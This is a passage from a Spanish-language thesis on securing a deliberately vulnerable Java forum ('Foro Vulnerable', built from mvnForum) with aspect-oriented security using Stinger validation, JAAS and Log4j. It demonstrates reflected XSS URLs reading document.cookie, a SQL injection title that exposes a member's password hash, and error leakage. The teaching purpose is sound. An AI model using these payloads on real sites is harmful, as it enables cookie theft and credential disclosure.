Figura 4: Arquitectura de mvnForum 

 

4.1.2 Foro Vulnerable: mvnForum rediseñado  
 

Como necesitábamos disponer de una aplicación que carezca de todo mecanismo de protección, 
como primera medida modificamos el código de mvnForum para convertirlo en vulnerable a 
diferentes ataques de seguridad. Éste fue un proceso manual, en el cual detectamos y 
eliminamos en las JSPs y en las clases del foro las porciones de código correspondientes a 
autenticación y autorización, filtrado de cadena de caracteres de entrada y salida, y manejo de 
errores.  Para agregar nuevas posibilidades de ataque, modificamos además la manera en que la 
aplicación armaba las consultas sql.   

Luego de analizar el diseño de mvnForum notamos una falta de estructuración, donde no se 
podía diferenciar claramente cuáles eran los puntos de entrada a las acciones básicas del foro. 
Dichas acciones debían ser fácilmente identificables para su posterior segurización. Es por eso 
que decidimos usar uno de los frameworks MVC WEB (Model-View-Controller para WEB) de 
código fuente abierto, muy utilizado, Struts 2, [STRUTS2] para organizar la funcionalidad de 
mvforum. 

El resultado de este rediseño fue un foro al que denominamos “Foro Vulnerable” 
(http://coe.info.unlp.edu.ar:8081/foroVulnerable). La Figura 5 ilustra la arquitectura de Foro 
Vulnerable y la interacción de los principales componentes server-side ante una petición del 
cliente. 
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Figura 5: Arquitectura de Foro Vulnerable 

 

Los componentes server-side de Foro Vulnerable son: un Servlet Filtro llamado 
FilterDispatcher provisto por la distribución de Struts2, que recibe todos las peticiones a la 
aplicación (1); el archivo descriptor struts.xml también provisto por la distribución de Struts2 
que establece todos los mapeos necesarios para determinar qué objeto Action atenderá cada 
petición (2) y qué página JSP debe utilizarse como respuesta al cliente (7). En Foro Vulnerable 
los objetos Action implementan con cada una de las funcionalidades del foro, y son los 
encargados de invocar a los Handlers (3), que interactúan con los objetos del modelo, Beans y 
Helpers, quiénes son los encargados de acceder a la base de datos (4). Una vez finalizado este 
procesamiento, el control es retornado al Action (5) quién le devuelve al FilterDispatcher un 
objeto que representa la siguiente “vista” de la aplicación, JPS. El FilterDispatcher se encarga 
de invocar la JSP específica y devolver la respuesta al cliente (7). 
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4.2 Funcionalidades de Foro Vulnerable 
 

Antes de dejar en evidencia las vulnerabilidades de Foro Vulnerable ante los diferentes  
ataques, veamos algunas de sus funciones con sus respectivos parámetros de entrada. 

 

Acción Parámetros Descripción 
Listar foros 
(/listarForos.action) 

- Lista los foros existentes en la 
base de datos. 

Listar temas 
(/listarThreads.action) 
 

-sort : indica la columna de la 
tabla de temas por la cual se 
ordenará el listado. Por 
ejemplo: 
“ThreadLastPostDate” o 
“MemberName” 
 
-order: especifica el orden en 
que se muestran los temas. 
Puede ser  ascendente (ASC) 
o descendente (DESC).  
 
- forumID: identificador del 
foro cuyos temas se desean 
listar 
 
- offset: se utiliza para la 
paginación del listado. 

Lista los temas de un foro 
dado 

Ver tema 
 (/viewThread.action) 

- thread: identificador del 
tema cuyos mensajes se 
desean listar 

Muestra los mensajes (posts) 
de un tema dado 

Generar nuevo tema o 
mensaje 
(/addPost.action)  

- forum: identificador del foro 
para el caso en que se crea un 
nuevo tema 
 
- parent: identificador del 
mensaje al que se responde 

Genera la pantalla para crear 
un tema o para escribir un 
mensaje de respuesta  

Almacenar nuevo tema o 
mensaje 
(/addPostProcess.action)  
 

- forum: identificador del foro 
para el caso en que se crea un 
nuevo tema 
 
- parent: identificador del 
mensaje al que se responde 
 
- postTopic: título del tema o 
mensaje 
 
- message: cuerpo del tema o 
mensaje 

Almacena en la base de datos 
un tema o mensaje de 
respuesta 

Tabla 6: Acciones principales de Foro Vulnerable 
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4.3 Ejemplos concretos de ataques contra Foro Vulnerable 
  
El objetivo de esta sección es mostrar, en Foro Vulnerable, la presencia de cada una de las 
vulnerabilidades seleccionadas del Top Ten de OWASP: 

4.3.1 Entrada no validada sintácticamente 

Ataque de Cross-Site Scripting (XSS) 
Como explicamos al hablar de este tipo de ataque, una de las maneras básicas de realizar un 
ataque XSS reflejado es generar una URL que incluya código malicioso. De esta manera la 
victima al hacer click sobre un enlace a dicha URL, involuntariamente inyecta el código a la 
aplicación web, la cual genera una página de respuesta reflejando dicho código.  

Nuestro foro es vulnerable a estos ataques, lo que puede apreciarse en su funcionalidad de 
listado de temas. Allí la aplicación copia el contenido del parámetro “sort” en la página de 
respuesta. Como consecuencia de esto, si inyectamos código a través de ese parámetro, el 
navegador web lo ejecutará luego de recibir la página de respuesta desde el servidor. 

Veamos lo que sucede al tipear en la barra de direcciones del navegador una URL maliciosa 
con código que muestra el contenido de la cookie almacenada.  

 
a) Usando JavaScript (en cualquier navegador) 

 
http://coe.info.unlp.edu.ar:8081/foroVulnerable/listarThreads.action?forumID=1&sor
t="<SCRIPT>alert(document.cookie)</SCRIPT> 

 
Resultado 

 

 
Figura 6: Ejemplo de ataque XSS a Foro Vulnerable 

 
b) UsandoVBScript (en Internet Explorer) 

 
Al ser  VBScript un lenguaje de scripts “no case sensitive”, es posible ingresar cierta parte 
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del código en mayúsculas.  
   

http://coe.info.unlp.edu.ar:8081/foroVulnerable/listarThreads.action?forumID=1&sor
t="><scripttype="text/vbscript">alert(DOCUMENT.COOKIE)</script> 
 
El resultado mismo que en en caso a) 

   
   
c) Ejemplo codificando < , >,<script, >,</script>, para evitar su filtrado 

 
Es posible ingresar el código malicioso traducido a codificación URL  

 
http://coe.info.unlp.edu.ar:8081/foroVulnerable/listarThreads.action?forumID=1&sor
t=%22%3cscript%3e%20alert(document.cookie)%3c/script%3e 

 
El resultado mismo que en en caso a) 

 
 
Para testear todas las posibilidades de ataque, se utilizó el programa CAL9000 con una lista 
de ataque apropiada [CAL9000] 

 

Ataque de Inyección SQL 
 

Es posible también realizar de manera exitosa un ataque de inyección SQL a Foro Vulnerable.  
El foro no valida los parámetros de entrada, los cuales en ciertos casos son utilizados de manera 
directa para generar un script SQL.  

Un ejemplo de esta construcción insegura de scripts SQL se presenta en la generación de un 
nuevo tema en Foro Vulnerable. Es posible inyectar una cadena maliciosa como título de tema 
de un foro: 
 
Clave: ' || (select memberpassword from miembro where memberid = (select 
max(memberid) from miembro)) || ' de Usuario: ' || (select membername from miembro 
where memberid = (select max(memberid) from miembro)) || '  
 

De esta manera cuando la aplicación quiere recuperar el título de dicho tema desde la base 
de datos, ejecuta la cadena maliciosa, la cual es una consulta SQL que obtiene el nombre y 
password del último usuario cargado. Esto resulta en el despliegue en pantalla del nombre de 
usuario y de su password encriptado en el lugar donde debería aparecer el título de tema. 
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   Figura 7: Ejemplo de ataque de inyección SQL a Foro Vulnerable 

4.3.2 Autenticación y Control de Acceso deficientes 
 
Foro Vulnerable carece de todo mecanismo de autenticación y control de acceso. Todos los 
usuarios acceden a la aplicación como usuarios invitados o anónimos.  

Probar la ausencia de mecanismos de control de acceso en el foro es tan simple como ejecutar 
cualquiera de las acciones o funcionalidades del foro. 

Por ejemplo, cualquier usuario puede acceder a la visualización del tema de identificador “12” 
ingresando la siguiente URL en el navegador: 

 
http:// coe.info.unlp.edu.ar:8081/foroVulnerable/viewThread.action?thread=12 

�

�

�

Figura 8: Ejemplo de ausencia de control de acceso en Foro Vulnerable 
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4.3.3 Manejo inadecuado de errores 
 
Foro Vulnerable no realiza un buen tratamiento de errores, respondiendo de una manera 
inapropiada ante situaciones anormales en la aplicación. Esto puede comprobarse fácilmente 
forzando la generación de algún error y analizando el comportamiento del foro. 

Si copiamos en nuestro navegador la siguiente URL: 
 
http:// coe.info.unlp.edu.ar:8080/foroVulnerable/listarThreads.action?forumID=8888 

 

con un valor para forumID inexistente en la base de datos, Foro Vulnerable dispara una excepción 
con la siguiente información: 

 

javax.servlet.ServletException: Cannot find the row in table Forum where primary key = 
(8888). 

 org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:515) 
 org.apache.struts2.dispatcher.FilterDispatcher.doFilter(FilterDispatcher.java:419) 

 

Esta información incluye el nombre de una tabla en la BD,  que debería permanecer oculta al 
usuario, para evitar así su posible uso para fines maliciosos como por ejemplo un ataque de 
inyección SQL. 

 
Figura 9: Ejemplo de un inadecuado manejo de errores en Foro Vulnerable 
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Capítulo 5 – Foro Seguro: aplicando “aspectos” a Foro 
Vulnerable  
 
 
Como mencionamos anteriormente, los aspectos nos dan la posibilidad de tratar la seguridad de 
manera separada al resto de la aplicación. Con el objetivo de probar la efectividad de este 
mecanismo, decidimos implementar aspectos de seguridad que traten cada una de las 
vulnerabilidades presentes en Foro Vulnerable. De esta manera fue posible obtener una aplicación 
segura, a la que denominamos Foro Seguro (http://coe.info.unlp.edu.ar:8081/foroSeguro) mediante 
la aplicación de aspectos a Foro Vulnerable. 

En primer lugar, nos fue necesario implementar soluciones adecuadas que cumplan con ciertas 
pautas consensuadas, por lo que decidimos basar nuestras soluciones en las propuestas presentes en 
los proyectos de OWASP [OWASP], específicamente en el OWASP Top Ten [OWASP1].  

Cada una de las implementaciones que da solución a una vulnerabilidad determinada, fue 
encapsulada dentro de un aspecto. A continuación, identificamos los lugares dentro de Foro 
Vulnerable (joinpoints) donde debían actuar los aspectos para así poder realizar la integración 
(weaving) de los mismos. A partir de ese momento, el código de los aspectos interviene en el flujo 
normal de ejecución del foro. Con todo este proceso logramos segurizar el foro sin alterar su 
código fuente.  
 
En la Figura 10 ilustramos la nueva arquitectura, mostrando la interacción de los principales 
componentes. 

 
 

Figura 10. Aplicación de aspectos a Foro Vulnerable 
 

5.1 Herramientas utilizadas en la construcción de las soluciones de 
seguridad 

5.1.1 Motor de validación Stinger 
 
Cuando se piensa en mecanismos de seguridad, a menudo pensamos en encriptación, autenticación, 
control de acceso e incluso auditoría. Pero raramente consideramos a la validación como un 
mecanismo de seguridad. Sin embargo, la validación juega un papel clave en la protección de 
aplicaciones web contra ataques. 
 Existen muchos métodos alternativos para implementar validación, pero ¿cuál es el mejor? 
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En el caso de las aplicaciones J2EE, el contenedor de Servlets es el encargado de crear un 
objeto HttpServletRequest que contiene toda la información del requerimiento para luego ser 
pasado como argumento al Servlet Http. 

Es importante analizar el código y detectar en el HttpServletRequest llamadas a los métodos: 
getCookies(), getHeader(), getHeaders(), getIntHeader(), getQueryString(), getParameter(), 
getParameterMap(), y getParameterValues().  

 
 Veamos dichos métodos con detalle: 
 
Interface HttpServletRequest 

 
getCookies() Devuelve un arreglo con los objetos Cookie 

que el cliente envió con su requerimiento. 
getHeader(java.lang.String name) 
 

Devuelve el valor de la cabecera del 
requerimiento HTTP especificada en forma 
de String 

getHeaders(java.lang.String name) Devuelve todos los valores de la cabecera 
del requerimiento HTTP especificada como 
una Enumeration de objetos String 

getIntHeader(java.lang.String name) 
 

Devuelve el valor de la cabecera del 
requerimiento especificada en forma de un 
entero. 

getQueryString() 
 

Devuelve el string de consulta que está 
contenido en la URL después de la ruta. 

Tabla 7: Métodos de la interface HttpServletRequest 
 

Interface ServletRequest 
 

getParameter(java.lang.String name) 
 

Devuelve el valor de un parámetro 
del requerimiento como un String. 

getParameterValues(java.lang.String name) 
 

Devuelve un arreglo de objetos 
String con todos los valores del 
parámetro del requerimiento. 

getParameterMap() 
 

Devuelve un objeto java.util.Map 
con los parámetros del 
requerimiento. 

Tabla 8: Métodos de la interface ServletRequest 
 

 Es necesario analizar cuidadosamente los valores retornados por estos métodos, antes de que 
sean usados. Para ello, deben especificarse reglas, generalmente en forma de  expresiones regulares, 
que determinen los valores válidos para cada parte del requerimiento HTTP. Cuando se recibe un 
requerimiento se deben chequear los valores contra las reglas mencionadas para así generar una lista 
de errores o una excepción. Si se retornara una lista de errores vacía, significaría que todos los 
parámetros del requerimiento pasaron satisfactoriamente la validación. 
 Toda esta tarea puede ser delegada a un motor de validación, en nuestro caso optamos por 
Stinger [STINGER]. Stinger es un proyecto de OWASP de código abierto desarrollado en JAVA. 
Uno de sus puntos fuertes es que utiliza una visión simplista, lo que ha hecho que muchas 
organizaciones lo adopten y lo integren dentro de su ciclo de vida en el desarrollo de software.  
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 Sintetizando, la validación consiste básicamente en tres pasos: 
• Establecer las reglas 
• Invocar a la rutina de chequeo 
• Manejar los errores que sean encontrados 

 

Características de Stinger 

El objetivo principal de Stinger es proveer una implementación de los  principios de diseño 
propuesto por “OWASP Validation Documentation” para el desarrollo de mecanismos de 
validación [VALID]. A continuación describiremos las características distintivas de Stinger. 

Modelo de Seguridad Positivo 

Stinger saca provecho de la librería de expresiones regulares provista dentro de la 
plataforma J2SE. Utilizando expresiones regulares estrictas, es posible construir una política 
de seguridad positiva para que sea implementada por Stinger. 

El conjunto de reglas de validación se especificado en un archivo con formato basado en 
XML. Este formato recibe el nombre de SVDL (Security Validation Description Language). 
En dicho archivo debe especificarse la ruta de los requerimientos sobre los que se aplicarán 
las reglas. 

A continuación mostramos la sección del archivo SVDL donde se definen las 
expresiones regulares: 

 

 
 
 
 
 
 
 

<regexs> 

<regex> 
<name>email</name> 
<pattern>^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$</pattern> 
<description>Dirección de e-mail</description> 

</regex> 
 
<regex>  

<name>textoSeguro</name> 
<pattern>^[a-zA-Z0-9\s.\-]+$</pattern> 
<description>Letras mayúsculas y minúsculas y todos los dígitos </description> 

</regex> 
 
<regex> 

<name>digitosEnPalabras</name> 
<pattern>^(cero|uno|dos|tres|cuatro|cinco|seis|siete|ocho|nueve)$</pattern> 
<description>El nombre de los dígitos del 0 al 9</description> 

</regex> 
 

         <regexs> 
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El siguiente ejemplo es una regla para un parámetro, nombreUsuario, que hace uso de 
una de las expresiones regulares listadas arriba. 

 

 
 

La regla es encapsulada por un tag ruleset, en donde se especifica la ruta de la petición a 
la que se le aplicará las reglas Stinger cuando debe validar un parámetro de entrada. 
 
Diseño Centralizado 
 
Stinger ofrece dos enfoques diferentes para obtener un diseño centralizado del modelo de 
validación: 

En el primer método, el desarrollador tiene la opción de crear el objeto Stinger y validar 
manualmente el requerimiento. Esto debería hacerse en el punto más temprano del código, 
de manera que ningún requerimiento sea procesado antes de la validación. 
Desafortunadamente, este enfoque tiene una desventaja que afecta severamente la 
funcionalidad de Stinger. Cuando ocurre una violación, Stinger lleva a cabo un conjunto de 
acciones definidas por el desarrollador. Ejecutar estas acciones significa que Stinger toma el 
control sobre el requerimiento y la respuesta. Consideremos el caso en el cual se realiza una 
validación dentro de una página JSP. Cuando falla la validación deseamos redireccionar al 
usuario a una página de error e invalidar la sesión. Sin embargo, una vez que la acción se 
llevó a cabo, la JVM de todas maneras intenta ejecutar el resto del código de la JSP. Esto sin 
duda llevará a una  'IllegalStateException' en el motor de Servlets. 

El segundo método, que es el preferido, consiste en utilizar un Servlet Filtro [FILTER]. 
Para ello, el desarrollador simplemente debe ubicar el filtro provisto por Stinger dentro de la 
cadena de filtros, mediante la modificación del archivo de descripción de despliegue, 
web.xml. Los Servlets Filtros ofrecen la posibilidad de modificar fácilmente los 
requerimientos y respuestas antes de que sean procesados por la aplicación web. Esto 
significa que si ocurre una violación en un requerimiento, es posible redireccionar a una 
página de error. También es posible modificar fácilmente el encabezamiento y los datos del 
requerimiento HTTP y de la respuesta HTTP a través del uso de los objetos “wrappers” 
HttpServletRequestWrapper[APISERVLET] y HttpServletResponseWrapper 
[APISERVLET]. Esto significa que podemos realizar modificaciones sobre los 
requerimientos y respuestas, tales como “saneamiento” de parámetros (codificación HTML) 
en forma transparente a la aplicación web. 
 
Basado en Acciones 

 
El motor de validación de Stinger es “basado en acciones”, ya que el desarrollador tiene la 
capacidad de definir una serie de acciones a ser ejecutadas como resultado de una violación 
específica. Estas acciones son definidas dentro del archivo SVDL. En Stinger, cada acción 
disponible es una subclase de “AbstractAction”.  
 

<ruleset> 
  <name>Principal</name> 
  <path>/Stinger-2.2.*</path> 
     <rule> 
 <name>nombreUsuario</name> 
 <regex>textoSeguro</regex> 
     </rule> 
</ruleset> 
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Veamos ahora como ejemplo una de las acciones provista en la distribución de Stinger. 
 

 
 

   
El único propósito de esta clase es invalidar una sesión. Cuando Stinger ejecuta el código 

de esta clase  invoca al método doAction(). 
Toda clase que extiende AbstractAction tiene acceso, mediante la función 

getParameters() a los parámetros parseados por Stinger  
[STINGER] 

Pasos seguido por Stinger durante una validación 
 
A continuación listamos en orden el conjunto de tareas que internamente realiza Stinger 

cada vez que debe validar los datos contenidos en una petición HttpServletRequest.  
 
o Busca el ruleset correspondiente de acuerdo a  la ruta de la petición. Sino toma el 

ruleset por defecto. 
o Busca el parámetro del ruleset y obtiene la expresión regular asociada. 
o Compara el valor del parámetro con el del patrón de la expresión regular. 
o Si el patrón coincide se continúa procesando la petición. Si no hay coincidencia, se 

toman las acciones especificadas en el archivo SVDL. 
 

5.1.2 JAAS: Java Authentication and Authorization Service 
 
JAAS [JAAS] es un conjunto de APIs (Interfaz de Programación de Aplicaciones) que habilitan 
servicios para autenticar y forzar controles de acceso sobre usuarios. Implementa una versión Java 
del framework PAM (Pluggable Authentication Modules) [PAM] y soporta autorización basada 
en usuarios. PAM no es un modelo de autenticación en sí, sino que se trata de un mecanismo que 
proporciona una interfaz entre las aplicaciones de usuario y diferentes métodos de autenticación, 
tratando de esta forma de solucionar uno de los problemas clásicos de la autenticación de usuarios: 
el hecho de que una vez que se ha definido e implantado cierto mecanismo en un entorno, es difícil 
cambiarlo. Mediante PAM podemos cambiar el mecanismo de autenticación utilizado en nuestras 
aplicaciones sin tener que realizar modificaciones en las mismas. Es decir, la implementación del 

public class Invalidate extends AbstractAction { 
 

public Invalidate() {  
 } 
private void invalidateSession(MutableHttpRequest mRequest) { 

HttpSession session = mRequest.getSession(false); 
if(session != null) { 
  session.invalidate(); 
} 

} 
 
public void doAction(MutableHttpRequest mRequest, MutableHttpResponse 

mResponse) { 
System.out.println("ACTION: Invalidating request"); 
invalidateSession(mRequest); 

} 
} 
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esquema de autenticación puede ser intercambiada de forma transparente para nuestra aplicación. 
 

Autenticación JAAS  
 

La autenticación JAAS, como hemos mencionado, se realiza de una manera “enchufable” 
(pluggable). Esto permite a las aplicaciones Java permanecer independientes de las 
tecnologías de autenticación subyacentes. Nuevas o mejoradas tecnologías pueden ser 
incorporadas  sin requerir modificaciones en la aplicación misma. Una implementación para 
una tecnología de autenticación particular a ser usada, se determina en tiempo de ejecución. 
La implementación se especifica en un archivo de configuración de loguin. El administrador 
del sistema determina las tecnologías de autenticación o LoginModules (módulos de loguin) 
a ser usadas para cada aplicación y luego las configura. Por defecto, dicha configuración 
debe especificarse  en los archivos de configuración (en terminología de JAAS, loguin 
configuration files).  

Cuando una aplicación usa la autenticación JAAS para autenticar a un usuario u otra 
entidad tal como un servicio, se crea un Subject (sujeto) como resultado. El propósito del 
Subject es representar al usuario o recurso autenticado. Un Subject está conformado por un 
conjunto de Principals, donde cada uno representa una identidad para ese usuario o recurso  

Proceso de autenticación JAAS 
El proceso de autenticación de JAAS comienza en la clase LoginContext. Dicha clase 
busca en el archivo de configuración de login, las entradas que especifican la tecnología de 
autenticación o LoginModule a utilizar con una aplicación en particular. Una aplicación 
puede usar también más de un LoginModule: por ejemplo, un LoginModule para una 
autenticación basada en usuario/clave y un LoginModule para una autenticación basada en 
smart cards. 

Una vez creado el LoginContext (previa inicialización del/los LoginModules), es 
posible invocar a su método login(). Este método invoca sucesivamente a los métodos 
login() de cada uno de los LoginModules configurados, los cuales realizan su respectivo 
tipo de autenticación.  

 El método login() del LoginContext completa su proceso de autenticación llamando al 
método commit() o al método abort() para cada uno de los LoginModules configurados.  El 
método commit() es invocado si la autenticación fue exitosa, mientras que el método abort() 
es invocado si la autenticación falló. Cada commit() de los diferentes LoginModules se 
encarga de asociar los Principals y Credentials (datos de autenticación tales como llaves 
criptográficas) con el Subject generado. Cada método abort() de los LoginModules limpia 
o remueve cualquier estado de autenticación almacenado previamente. 

Si todos los commit() requeridos se completan con éxito, entonces el proceso de login 
termina con éxito. 

 

Especificación de las Políticas de Acceso 
 

Por defecto, JAAS viene con una implementación de referencia Policy 
(com.sun.security.auth.PolicyFile) la cual es basada en archivos. Esta implementación 
“parsea” el archivo Java.policy  y  lo usa para llevar las asociaciones de permisos al código. 
Por defecto, dos archivos son consultados para evaluar política. Uno es 
com.sun.security.auth.PolicyFile  y el otro es .java.policy definido en el directorio “home” 
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del usuario. 
Para lograr que la autorización JAAS se lleve a cabo, debe incluirse un campo 

Principal en las sentencias del archivo de políticas. Un campo Principal indica qué usuario 
tiene los permisos designados. Las sentencias del archivo de políticas pueden incluir uno o 
más campos Principal 

Autorización JAAS  
 

En el entorno de ejecución Java 2, los controles de acceso son forzados a través del 
java.lang.SecurityManager , el cual es consultado cada vez que se intenta realizar una 
operación sensible (por ej. acceso al sistema de archivos local). Para determinar si el código 
tiene suficientes permisos, la implementación del SecutiryManager delega la 
responsabilidad al java.security.AccesController, que primero obtiene una imagen del 
AccessControlContext actual, y luego asegura que el AccessControlContext contiene 
suficientes permisos para que operación sea permitida. 

La autorización JAAS aumenta los controles de acceso existentes centrados en 
código con nuevos controles de acceso centrados en el usuario. Es decir, los permisos 
pueden ser concedidos basándose no sólo en cuál código se está ejecutando sino también de 
acuerdo a quién lo está ejecutando.  

La clase Subject realiza la autorización usando una clase PrivilegedAction. Una subclase 
de PrivilegedAction “envuelve” los recursos  que tienen el control de acceso. El archivo de 
políticas de seguridad define si un Principal tiene o no permiso para acceder a un recurso. 
Existe un método estático de la clase Subject, doAs(), que se invoca pasándole como 
parámetro un Subject autenticado y una PrivilegedAction. Dicho método asocia el Subject 
provisto con el contexto de control de acceso actual y luego invoca el método run()  de la 
acción, permitiendo la ejecución de la acción como dicho Subject. 

El SecurityManager lee el archivo de políticas apropiado y “parsea” los permisos y 
Principals para luego conceder y negar el acceso a los recursos en la PrivilegedAction. Si 
no se otorga el acceso para un determinado Principal, se eleva una excepción de acceso. 
[KEMP] [AFAQ] [MOORE] 

 

5.1.3 LOG4J 
 
Log4j es una biblioteca de código abierto desarrollada en Java por la Apache Software Foundation 
que permite a los desarrolladores de software elegir la salida y el nivel de granularidad de los 
mensajes o “logs” (logging) en tiempo de ejecución. Es potente y conocido para el debugging de 
aplicaciones.  

La primera versión de Log4j se escribió para el proyecto de SEMPER en el año 1996, y, aunque 
Log4j ha cambiado considerablemente, todavía conserva ideas de esa primera versión.  

Características principales 
 

• Diferentes niveles de traza. (Error, información, depuración). 
• Filtros según categoría. 
• Redirección de las trazas a diferentes destinos. (A un archivo, a consola, a Base de 

datos, etc). 
• Diferentes formatos de visualización. (Visualizar fecha, línea, nombre de la clase, 

etc). 
• Configuración por archivos. 



 65 

 
La configuración de salida y granularidad de los mensajes es realizada en tiempo de 
ejecución mediante el uso de archivos de configuración externos. Log4J ha sido 
implementado también en otros lenguajes como: C, C++, C#, Perl, Python, Ruby y Eiffel. 

En Log4J los mensajes son enviados a una o varias salida/s de destino, las cuales se 
denomina appenders. Existen varios appenders disponibles y configurados, aunque también 
se pueden crear y configurar appenders propios. 

Típicamente la salida de los mensajes es redirigida a un archivo de texto “.log” 
(FileAppender, RollingFileAppender), pero también se puede redirigir la misma a un 
servidor remoto donde almacenar registros (SocketAppender), a una dirección de correo 
electrónico (SMTPAppender), e incluso en una base de datos (JDBCAppender). El 
responsable de dar un formato de presentación a los mensajes es el objeto Layout, el cual 
puede ser simplemente para un archivo de texto “.log” (SimpleLayout y PatternLayout), en 
una tabla HTML (HTMLLayout), o en un archivo XML (XMLLayout). 

 

Usos más frecuentes 
 

Insertar sentencias de log dentro del código es una forma de depuración de bajo nivel, es por 
ello que alguna veces esta capacidad no esta disponible o no es aplicable, como es el caso de 
aplicaciones multi-hilos o distribuidas.  

Además de ser usado en el ciclo de desarrollo de un proyecto, un logging 
suficientemente completo  también puede ser usado como herramienta de auditoria. 

La experiencia indica que el logging forma parte importante del desarrollo de una 
aplicación. Ofrece un contexto preciso de la ejecución de una aplicación. La salida de log 
puede ser grabada en un medio persistente para ser estudiada con posterioridad, y de esta 
manera poder detectar errores ocurridos en ambientes productivos y hacer un análisis sobre 
la causa. 

 
 
5.2 Aspectos de Seguridad como Solución a las Vulnerabilidades 
Presentadas 

5.2.1 Aspecto para Entrada No Validada 
Como mencionamos anteriormente, una buena estrategia según OWASP para proteger a una 
aplicación web de ataques XSS  y de Inyección SQL, es realizar una validación de toda la entrada. 
A continuación discutiremos sobre el mecanismo de validación que utilizaremos para aplicar 
seguridad a una aplicación web, en nuestro caso el “Foro Vulnerable”. 

Implementación 
El objetivo de este aspecto al que denominamos AspectoValidacion (Codigo 1) es interceptar 
la ejecución de todo objeto Action de Struts2 (todas las clases Action son subclase de la clase 
ActionSupport provista por la distribución Struts2).  De esta manera antes del comienzo de 
ejecución de cada método execute(), que provee el comportamiento del Action,  se instancia el 
motor de validación Stinger [STINGER] especificándole su archivo de configuración, 
stingerLasaw.xml.  Si los parámetros del Action, almacenados en la petición HTTP no pasan la 
validación, se dispara la excepción ParametroMalformadoException,  abortando así  la 
ejecución del Action. 

 



 66 

 
Código 1: Código del aspecto de validación 

 

5.2.2 Aspecto para Autenticación y Control de Acceso deficientes 
 

En el desarrollo de este aspecto decidimos utilizar JAAS [JAAS], para lo que definimos roles de 
usuario, donde cada uno determina los permisos que tiene un usuario sobre los recursos del foro. En 
nuestra implementación consideramos permisos de acceso a nivel de URL.  Tanto los roles como la 
política de permisos fueron configuradas en un archivo foro.policy. Se implementó además, 
mediante la clase LasawLoginModule (Código 2), la interface LoginModule. En el método login() 
de dicho módulo básicamente se ejecuta una rutina que solicita los datos de loguin y mediante la 
invocación del método verificarPassword(), se chequea si la clave ingresada es correcta. Por 
último, el método commit() se encarga de incorporar a la información del usuario logueado, los 
roles a los que pertenece.  
 
 
 
 
 

public aspect AspectoValidacion{ 
 
  

public pointcut ejecucionMetodoExecute(): execution (public String  
ActionSupport+.execute()); 
 
before() throws Exception: ejecucionMetodoExecute() { 
 

System.out.println("Se esta por ejecutar el método execute()"); 
HttpServletRequest request=ServletActionContext.getRequest(); 

  
//Se validan los parámetros del GET y del POST (estan en parametersMap y en 

postData) 
/*VALIDACION con Stinger*/ 
ServletContext context = ServletActionContext.getServletContext(); 
String webINF = context.getRealPath("WEB-INF") + "/"; 
String configFile=webINF+"stingerLasaw.xml"; 
Stinger stinger = null; 
MutableHttpRequest mRequest = null; 
HttpServletResponse hResponse = null; 
 
stinger = new Stinger(new RuleSet(configFile, context),context); 
mRequest = new MutableHttpRequest(request); 
hResponse = (HttpServletResponse)ServletActionContext.getResponse(); 

    
int retval=stinger.validate(mRequest, hResponse); 
switch(retval) { 

case AbstractAction.DROP: 
throw new ParametroMalformadoException() ; 

case AbstractAction.CONTINUE: 
case AbstractAction.PROCESS: 
default: 

break; 
} 

} 
} 
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Detalle de nuestra configuración de JAAS 
 

Para  configurar JAAS debimos definir lo siguiente: 
o Una  implementación del CallbackHandler: LasawCallbackHandler 
o Una implementación de la PrivilegedAction: LasawAction 
o Dos implementaciones de Principal: LasawPrincipal, LasawGrupoPrincipal 
o Una subclase de BasicPermission: URLPermission 

Dicha clase representa el permiso a una URL 
o Un archivo de políticas para el foro: foro.policy 
o Un archivo de configuración de login: login.conf 

En este archivo se especifica el LoginModule a utilizar: 
lasawLogin { 

lasaw.jaas.LasawLoginModule required debug=true; 
}; 

 
o Una implementación del LoginModule: LasawLoginModule 

En el método login() de dicho módulo, básicamente se invoca al LasawCallbackHandler para realizar 
la lectura de usuario y clave. Luego se invoca al método verificarPassword() que implementa la 
manera de chequear si la clave ingresada es correcta. En nuestro caso, dicho método verifica la 
correctitud de la clave consultando la tabla “miembro” de una base de datos.  El método commit() se 
encarga de incorporar al Subject el LasawPrincipal del usuario autenticado, un 
LasawGrupoPrincipal correspondiente al grupo de usuarios autenticados, y el conjunto de 
LasawGrupoPrincipals correspondiente a los grupos a los que pertenece el usuario. Para esto último, 
se leen desde la BD las tablas “grupo” y “miembroperteneceagrupo”. 
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public class LasawLoginModule implements LoginModule { 
public boolean login() throws LoginException { 

     ... 
Callback[] callbacks = new Callback[2]; 
callbacks[0] = new NameCallback("Nombre de usuario: "); 
callbacks[1] = new PasswordCallback("Password: ", false); 
try { 
    callbackHandler.handle(callbacks);  
    // Se le pide la informacion a los callbacks  
    username = ((NameCallback)callbacks[0]).getName(); 

char[] tmpPassword= ((PasswordCallback)callbacks[1]).getPassword(); 
} catch (java.io.IOException ioe) { 
     throw new LoginException(ioe.toString()); 
} catch (UnsupportedCallbackException uce) { 

... 
} 
String encodedPassword = 

 Encoder.getMD5_Base64(String.valueOf(password)); 
if (verificarPassword(username,encodedPassword)){ 

succeeded = true; 
return true; 

} else { 
succeeded = false; 
... 
throw new FailedLoginException("Nombre de Usuario o  

Password Incorrecto"); 
} 

} 
 
private boolean verificarPassword(String username, String  
      encodedPassword){ 
      

String passFromDB=""; 
boolean usernameCorrect=false; 
boolean passwordCorrect=false; 
final String TABLE_NAME = "miembro"; 
Connection connection = null; 
PreparedStatement statement = null; 
ResultSet resultSet = null; 
String sql = "SELECT MemberID, memberpassword FROM " +  

TABLE_NAME + " WHERE MemberName = ?"; 
try { 

connection = DBUtils.getConnection(); 
statement = connection.prepareStatement(sql); 
statement.setString(1, username); 
resultSet = statement.executeQuery(); 
if(resultSet.next()) { 
     userId= resultSet.getInt(1); 
     passFromDB=resultSet.getString(2); 
     usernameCorrect=true; 

     } 
 } catch(SQLException sqle) { 
     sqle.printStackTrace(); 
 } finally { 
     DBUtils.closeResultSet(resultSet); 
     DBUtils.closeStatement(statement); 
     DBUtils.closeConnection(connection); 
 } 
 if (usernameCorrect){ 
   if (encodedPassword.equals(passFromDB)) { 
        passwordCorrect=true; 
     } 
 }  
 return usernameCorrect && passwordCorrect; 

} 
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Código 2: Código de implementación JAAS 
 

Implementación 
 

El objetivo de este aspecto al que denominamos AspectoJaas (Código 3) es interceptar la 
ejecución de todo objeto Action (subclase de ActionSuport) de Struts2. De esta manera, 
